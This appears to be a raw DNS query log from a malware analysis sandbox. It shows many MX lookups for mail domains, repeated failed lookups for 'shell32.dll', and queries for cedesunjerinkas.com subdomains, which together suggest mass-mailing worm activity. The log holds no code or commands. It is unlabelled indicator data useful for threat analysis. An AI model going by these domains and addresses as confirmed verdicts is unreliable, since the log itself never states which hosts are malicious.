Jan 7, 2022 15:44:06.842951059 CET	8.8.8.8	192.168.2.6	0xcd45	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:06.842951059 CET	8.8.8.8	192.168.2.6	0xcd45	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:06.863435030 CET	8.8.8.8	192.168.2.6	0x3cdd	No error (0)	aspmx3.googlemail.com		74.125.200.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:06.884954929 CET	8.8.8.8	192.168.2.6	0xc086	No error (0)	alt1.aspmx.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:06.906316996 CET	8.8.8.8	192.168.2.6	0x6c87	No error (0)	alt2.aspmx.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:06.928352118 CET	8.8.8.8	192.168.2.6	0x466c	No error (0)	aspmx2.googlemail.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:06.959431887 CET	8.8.8.8	192.168.2.6	0x167b	No error (0)	aspmx.l.google.com		108.177.119.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:07.735876083 CET	8.8.8.8	192.168.2.6	0xf66a	No error (0)	openssl.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:07.765985966 CET	8.8.8.8	192.168.2.6	0x550	No error (0)	mta.openssl.org		194.97.150.230	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:07.938034058 CET	8.8.8.8	192.168.2.6	0xd7ff	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:07.938034058 CET	8.8.8.8	192.168.2.6	0xd7ff	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:07.938034058 CET	8.8.8.8	192.168.2.6	0xd7ff	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:07.938034058 CET	8.8.8.8	192.168.2.6	0xd7ff	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:07.938034058 CET	8.8.8.8	192.168.2.6	0xd7ff	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:08.211436033 CET	8.8.8.8	192.168.2.6	0xacf	No error (0)	alt2.aspmx.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:08.215640068 CET	8.8.8.8	192.168.2.6	0x30f7	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:08.215640068 CET	8.8.8.8	192.168.2.6	0x30f7	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:08.215640068 CET	8.8.8.8	192.168.2.6	0x30f7	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:08.215640068 CET	8.8.8.8	192.168.2.6	0x30f7	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:08.215640068 CET	8.8.8.8	192.168.2.6	0x30f7	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:08.241118908 CET	8.8.8.8	192.168.2.6	0xe052	No error (0)	aspmx.l.google.com		108.177.127.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:08.294918060 CET	8.8.8.8	192.168.2.6	0x468d	No error (0)	aspmx3.googlemail.com		74.125.200.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:08.316200018 CET	8.8.8.8	192.168.2.6	0x9ae3	No error (0)	alt1.aspmx.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:08.339772940 CET	8.8.8.8	192.168.2.6	0xe626	No error (0)	aspmx2.googlemail.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:08.341670036 CET	8.8.8.8	192.168.2.6	0x2a8b	No error (0)	alt2.aspmx.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:08.365871906 CET	8.8.8.8	192.168.2.6	0xa8fd	No error (0)	aspmx2.googlemail.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:08.972929955 CET	8.8.8.8	192.168.2.6	0x2178	No error (0)	pobox.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:08.972929955 CET	8.8.8.8	192.168.2.6	0x2178	No error (0)	pobox.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:08.972929955 CET	8.8.8.8	192.168.2.6	0x2178	No error (0)	pobox.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:08.972929955 CET	8.8.8.8	192.168.2.6	0x2178	No error (0)	pobox.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:08.972929955 CET	8.8.8.8	192.168.2.6	0x2178	No error (0)	pobox.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:08.972929955 CET	8.8.8.8	192.168.2.6	0x2178	No error (0)	pobox.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:08.972929955 CET	8.8.8.8	192.168.2.6	0x2178	No error (0)	pobox.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:08.972929955 CET	8.8.8.8	192.168.2.6	0x2178	No error (0)	pobox.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:08.991957903 CET	8.8.8.8	192.168.2.6	0x274	No error (0)	pb-mx9.pobox.com		64.147.108.50	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:08.996560097 CET	8.8.8.8	192.168.2.6	0x7cce	No error (0)	northcoast.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:08.996560097 CET	8.8.8.8	192.168.2.6	0x7cce	No error (0)	northcoast.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:08.996560097 CET	8.8.8.8	192.168.2.6	0x7cce	No error (0)	northcoast.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:08.996560097 CET	8.8.8.8	192.168.2.6	0x7cce	No error (0)	northcoast.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:09.021275997 CET	8.8.8.8	192.168.2.6	0x2b98	No error (0)	pb-mx22.pobox.com		173.228.157.41	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:09.041850090 CET	8.8.8.8	192.168.2.6	0x6f7b	No error (0)	pb-mx14.pobox.com		64.147.108.55	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:09.076975107 CET	8.8.8.8	192.168.2.6	0x7397	No error (0)	pb-mx11.pobox.com		64.147.108.52	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:09.108599901 CET	8.8.8.8	192.168.2.6	0x5051	No error (0)	pb-mx20.pobox.com		173.228.157.39	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:09.117702961 CET	8.8.8.8	192.168.2.6	0xe5c8	No error (0)	mxb-00377f03.gslb.pphosted.com		205.220.176.130	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:09.132042885 CET	8.8.8.8	192.168.2.6	0x1a02	No error (0)	pb-mx23.pobox.com		173.228.157.42	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:09.144835949 CET	8.8.8.8	192.168.2.6	0x444b	No error (0)	mxb-00377f01.gslb.pphosted.com		185.183.28.235	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:09.155066967 CET	8.8.8.8	192.168.2.6	0x1c28	No error (0)	pb-mx10.pobox.com		64.147.108.51	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:09.171256065 CET	8.8.8.8	192.168.2.6	0xa708	No error (0)	mxa-00377f01.gslb.pphosted.com		185.183.28.235	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:09.295228004 CET	8.8.8.8	192.168.2.6	0x1275	No error (0)	mxa-00377f03.gslb.pphosted.com		205.220.176.130	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:09.320488930 CET	8.8.8.8	192.168.2.6	0xe3f0	No error (0)	pb-mx21.pobox.com		173.228.157.40	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:11.878782988 CET	8.8.8.8	192.168.2.6	0x5a2e	No error (0)	www4.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:12.130390882 CET	8.8.8.8	192.168.2.6	0xee20	No error (0)	www2.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:15.996922970 CET	8.8.8.8	192.168.2.6	0xdc16	No error (0)	netcom.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:15.996922970 CET	8.8.8.8	192.168.2.6	0xdc16	No error (0)	netcom.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:15.996922970 CET	8.8.8.8	192.168.2.6	0xdc16	No error (0)	netcom.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:15.996922970 CET	8.8.8.8	192.168.2.6	0xdc16	No error (0)	netcom.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:16.015773058 CET	8.8.8.8	192.168.2.6	0xa4f2	No error (0)	mx01.oxsus-vadesecure.net		51.81.57.58	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:16.038202047 CET	8.8.8.8	192.168.2.6	0x48b0	No error (0)	mx02.oxsus-vadesecure.net		51.81.57.59	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:16.062997103 CET	8.8.8.8	192.168.2.6	0x9224	No error (0)	mx03.oxsus-vadesecure.net		51.81.242.59	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:16.084711075 CET	8.8.8.8	192.168.2.6	0x6a95	No error (0)	mx04.oxsus-vadesecure.net		51.81.242.150	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:17.366148949 CET	8.8.8.8	192.168.2.6	0x946b	No error (0)	www2.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:18.545217991 CET	8.8.8.8	192.168.2.6	0x6fd6	No error (0)	northcoast.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:18.545217991 CET	8.8.8.8	192.168.2.6	0x6fd6	No error (0)	northcoast.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:18.545217991 CET	8.8.8.8	192.168.2.6	0x6fd6	No error (0)	northcoast.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:18.545217991 CET	8.8.8.8	192.168.2.6	0x6fd6	No error (0)	northcoast.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:18.699294090 CET	8.8.8.8	192.168.2.6	0x36cf	No error (0)	mxb-00377f03.gslb.pphosted.com		205.220.164.130	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:18.857338905 CET	8.8.8.8	192.168.2.6	0xea71	No error (0)	mxb-00377f01.gslb.pphosted.com		185.132.181.97	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:18.981592894 CET	8.8.8.8	192.168.2.6	0x76d9	No error (0)	mxa-00377f01.gslb.pphosted.com		185.132.181.97	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:19.136950016 CET	8.8.8.8	192.168.2.6	0xfc3a	No error (0)	mxa-00377f03.gslb.pphosted.com		205.220.176.130	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:20.680248976 CET	8.8.8.8	192.168.2.6	0x6108	No error (0)	cl.cam.ac.uk			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:20.699105978 CET	8.8.8.8	192.168.2.6	0x1770	No error (0)	mx.cam.ac.uk		131.111.8.147	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:20.699105978 CET	8.8.8.8	192.168.2.6	0x1770	No error (0)	mx.cam.ac.uk		131.111.8.146	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:20.699105978 CET	8.8.8.8	192.168.2.6	0x1770	No error (0)	mx.cam.ac.uk		131.111.8.149	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:20.699105978 CET	8.8.8.8	192.168.2.6	0x1770	No error (0)	mx.cam.ac.uk		131.111.8.148	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:21.288873911 CET	8.8.8.8	192.168.2.6	0xbfdd	Name error (3)	src.dec.com	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:22.323441982 CET	8.8.8.8	192.168.2.6	0x7470	No error (0)	theriver.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:22.346824884 CET	8.8.8.8	192.168.2.6	0x2a32	No error (0)	ismtp.sitestar.everyone.net		216.200.145.235	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:24.358561039 CET	8.8.8.8	192.168.2.6	0x3f6e	No error (0)	www4.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:24.714776039 CET	8.8.8.8	192.168.2.6	0x163a	Name error (3)	bryson.demon.co.uk	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.278695107 CET	8.8.8.8	192.168.2.6	0xaaf3	No error (0)	cl.cam.ac.uk			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.280931950 CET	8.8.8.8	192.168.2.6	0x46ae	Name error (3)	src.dec.com	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.285067081 CET	8.8.8.8	192.168.2.6	0xd633	No error (0)	theriver.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.288923025 CET	8.8.8.8	192.168.2.6	0xae4c	No error (0)	w3.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.288923025 CET	8.8.8.8	192.168.2.6	0xae4c	No error (0)	w3.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.288923025 CET	8.8.8.8	192.168.2.6	0xae4c	No error (0)	w3.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.289134979 CET	8.8.8.8	192.168.2.6	0x9e52	Name error (3)	bryson.demon.co.uk	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.291728020 CET	8.8.8.8	192.168.2.6	0x1f78	No error (0)	lists.sourceforge.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.297735929 CET	8.8.8.8	192.168.2.6	0xcbde	No error (0)	openoffice.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.297735929 CET	8.8.8.8	192.168.2.6	0xcbde	No error (0)	openoffice.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.297735929 CET	8.8.8.8	192.168.2.6	0xcbde	No error (0)	openoffice.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.297735929 CET	8.8.8.8	192.168.2.6	0xcbde	No error (0)	openoffice.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.303080082 CET	8.8.8.8	192.168.2.6	0x25a	No error (0)	mx.cam.ac.uk		131.111.8.146	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.303080082 CET	8.8.8.8	192.168.2.6	0x25a	No error (0)	mx.cam.ac.uk		131.111.8.147	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.303080082 CET	8.8.8.8	192.168.2.6	0x25a	No error (0)	mx.cam.ac.uk		131.111.8.148	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.303080082 CET	8.8.8.8	192.168.2.6	0x25a	No error (0)	mx.cam.ac.uk		131.111.8.149	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.306812048 CET	8.8.8.8	192.168.2.6	0x4c24	No error (0)	ismtp.sitestar.everyone.net		216.200.145.235	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.317768097 CET	8.8.8.8	192.168.2.6	0x3e8	No error (0)	mx.sourceforge.net		216.105.38.6	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.323467016 CET	8.8.8.8	192.168.2.6	0xf4ef	No error (0)	bart.w3.org		193.51.208.80	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.332165956 CET	8.8.8.8	192.168.2.6	0x6c5a	Name error (3)	mx2-lw-eu.apache.org	none	none	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.332562923 CET	8.8.8.8	192.168.2.6	0x22ae	No error (0)	jk.uni-linz.ac.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.332562923 CET	8.8.8.8	192.168.2.6	0x22ae	No error (0)	jk.uni-linz.ac.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.332562923 CET	8.8.8.8	192.168.2.6	0x22ae	No error (0)	jk.uni-linz.ac.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.332562923 CET	8.8.8.8	192.168.2.6	0x22ae	No error (0)	jk.uni-linz.ac.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.348388910 CET	8.8.8.8	192.168.2.6	0xd0ee	No error (0)	titan.w3.org		128.30.52.76	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.353135109 CET	8.8.8.8	192.168.2.6	0xd2a5	Name error (3)	mx1-lw-us.apache.org	none	none	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.372509003 CET	8.8.8.8	192.168.2.6	0xc120	No error (0)	cdata.tvnet.hu			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.372536898 CET	8.8.8.8	192.168.2.6	0x276e	No error (0)	mimas.w3.org		128.30.52.79	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.374799013 CET	8.8.8.8	192.168.2.6	0x2023	No error (0)	mail1.edvz.uni-linz.ac.at		140.78.3.68	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.382246017 CET	8.8.8.8	192.168.2.6	0x1311	Name error (3)	mx1-lw-eu.apache.org	none	none	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.396131992 CET	8.8.8.8	192.168.2.6	0xb194	No error (0)	mail3.edvz.uni-linz.ac.at		140.78.3.83	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.406790018 CET	8.8.8.8	192.168.2.6	0xf979	Name error (3)	mx2-lw-us.apache.org	none	none	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.420458078 CET	8.8.8.8	192.168.2.6	0xc43f	No error (0)	onlineconnections.com.au			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.437414885 CET	8.8.8.8	192.168.2.6	0xd4f1	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.445358038 CET	8.8.8.8	192.168.2.6	0xcb2c	No error (0)	mail4.edvz.uni-linz.ac.at		140.78.3.82	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.469733000 CET	8.8.8.8	192.168.2.6	0x5b31	No error (0)	mail2.edvz.uni-linz.ac.at		140.78.3.69	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.469860077 CET	8.8.8.8	192.168.2.6	0xafc3	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.500931025 CET	8.8.8.8	192.168.2.6	0x8b07	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.529814005 CET	8.8.8.8	192.168.2.6	0xce4c	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.538055897 CET	8.8.8.8	192.168.2.6	0xc3f0	No error (0)	gzip.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.564626932 CET	8.8.8.8	192.168.2.6	0xc056	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.571516991 CET	8.8.8.8	192.168.2.6	0x5c5	No error (0)	onlineconnections.com.au		192.254.190.168	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.592433929 CET	8.8.8.8	192.168.2.6	0x22a5	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.624484062 CET	8.8.8.8	192.168.2.6	0xaf53	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.663625956 CET	8.8.8.8	192.168.2.6	0xaec5	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.718071938 CET	8.8.8.8	192.168.2.6	0x5f29	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.746447086 CET	8.8.8.8	192.168.2.6	0x8f28	No error (0)	gzip.org		85.187.148.2	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.749229908 CET	8.8.8.8	192.168.2.6	0x8c99	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.780441999 CET	8.8.8.8	192.168.2.6	0x248a	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:26.724869013 CET	8.8.8.8	192.168.2.6	0x67f8	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:26.749761105 CET	8.8.8.8	192.168.2.6	0xd94b	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:26.794990063 CET	8.8.8.8	192.168.2.6	0x8149	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:26.828481913 CET	8.8.8.8	192.168.2.6	0x2fe9	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:26.866658926 CET	8.8.8.8	192.168.2.6	0x8b6a	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:26.908164978 CET	8.8.8.8	192.168.2.6	0x3000	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:26.939924955 CET	8.8.8.8	192.168.2.6	0xddb8	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:26.970251083 CET	8.8.8.8	192.168.2.6	0x1f16	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:26.997421980 CET	8.8.8.8	192.168.2.6	0x4e27	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.029701948 CET	8.8.8.8	192.168.2.6	0x7ad	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.071630001 CET	8.8.8.8	192.168.2.6	0x7c36	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.106337070 CET	8.8.8.8	192.168.2.6	0xb6a5	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.139508009 CET	8.8.8.8	192.168.2.6	0x7a3a	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.170766115 CET	8.8.8.8	192.168.2.6	0x2702	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.200406075 CET	8.8.8.8	192.168.2.6	0x457b	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.233437061 CET	8.8.8.8	192.168.2.6	0x78eb	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.264883995 CET	8.8.8.8	192.168.2.6	0x868f	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.295840979 CET	8.8.8.8	192.168.2.6	0x10f5	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.326972008 CET	8.8.8.8	192.168.2.6	0x5fae	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.358222961 CET	8.8.8.8	192.168.2.6	0xaa7b	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.363614082 CET	8.8.8.8	192.168.2.6	0x18cf	No error (0)	onlineconnections.com.au			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.387550116 CET	8.8.8.8	192.168.2.6	0xe87d	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.420867920 CET	8.8.8.8	192.168.2.6	0x96c8	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.453761101 CET	8.8.8.8	192.168.2.6	0x3d6c	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.481760979 CET	8.8.8.8	192.168.2.6	0x83f7	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.512629986 CET	8.8.8.8	192.168.2.6	0x9da2	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.527539015 CET	8.8.8.8	192.168.2.6	0x983d	No error (0)	onlineconnections.com.au		192.254.190.168	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:27.544356108 CET	8.8.8.8	192.168.2.6	0x55c4	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.577810049 CET	8.8.8.8	192.168.2.6	0x89cd	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.602819920 CET	8.8.8.8	192.168.2.6	0xeaac	No error (0)	www3.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:27.607610941 CET	8.8.8.8	192.168.2.6	0x6986	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:28.213340044 CET	8.8.8.8	192.168.2.6	0x2a71	No error (0)	openoffice.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:28.213340044 CET	8.8.8.8	192.168.2.6	0x2a71	No error (0)	openoffice.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:28.213340044 CET	8.8.8.8	192.168.2.6	0x2a71	No error (0)	openoffice.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:28.213340044 CET	8.8.8.8	192.168.2.6	0x2a71	No error (0)	openoffice.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:28.233675957 CET	8.8.8.8	192.168.2.6	0xc3b2	Name error (3)	mx2-lw-us.apache.org	none	none	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:28.256320000 CET	8.8.8.8	192.168.2.6	0xa20c	Name error (3)	mx1-lw-eu.apache.org	none	none	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:28.279799938 CET	8.8.8.8	192.168.2.6	0xc674	Name error (3)	mx1-lw-us.apache.org	none	none	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:28.301382065 CET	8.8.8.8	192.168.2.6	0xcc18	Name error (3)	mx2-lw-eu.apache.org	none	none	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:28.405829906 CET	8.8.8.8	192.168.2.6	0x2083	No error (0)	w3.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:28.405829906 CET	8.8.8.8	192.168.2.6	0x2083	No error (0)	w3.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:28.405829906 CET	8.8.8.8	192.168.2.6	0x2083	No error (0)	w3.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:28.428514957 CET	8.8.8.8	192.168.2.6	0xbffd	No error (0)	bart.w3.org		193.51.208.80	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:28.449187994 CET	8.8.8.8	192.168.2.6	0x2e39	No error (0)	titan.w3.org		128.30.52.76	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:28.491935015 CET	8.8.8.8	192.168.2.6	0x3487	No error (0)	mimas.w3.org		128.30.52.79	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:29.160835028 CET	8.8.8.8	192.168.2.6	0x8917	No error (0)	lists.sourceforge.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:29.182348967 CET	8.8.8.8	192.168.2.6	0x690c	No error (0)	mx.sourceforge.net		216.105.38.6	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:29.369245052 CET	8.8.8.8	192.168.2.6	0x2b87	No error (0)	jk.uni-linz.ac.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:29.369245052 CET	8.8.8.8	192.168.2.6	0x2b87	No error (0)	jk.uni-linz.ac.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:29.369245052 CET	8.8.8.8	192.168.2.6	0x2b87	No error (0)	jk.uni-linz.ac.at			MX (Mail exchange)	IN (0x0001)
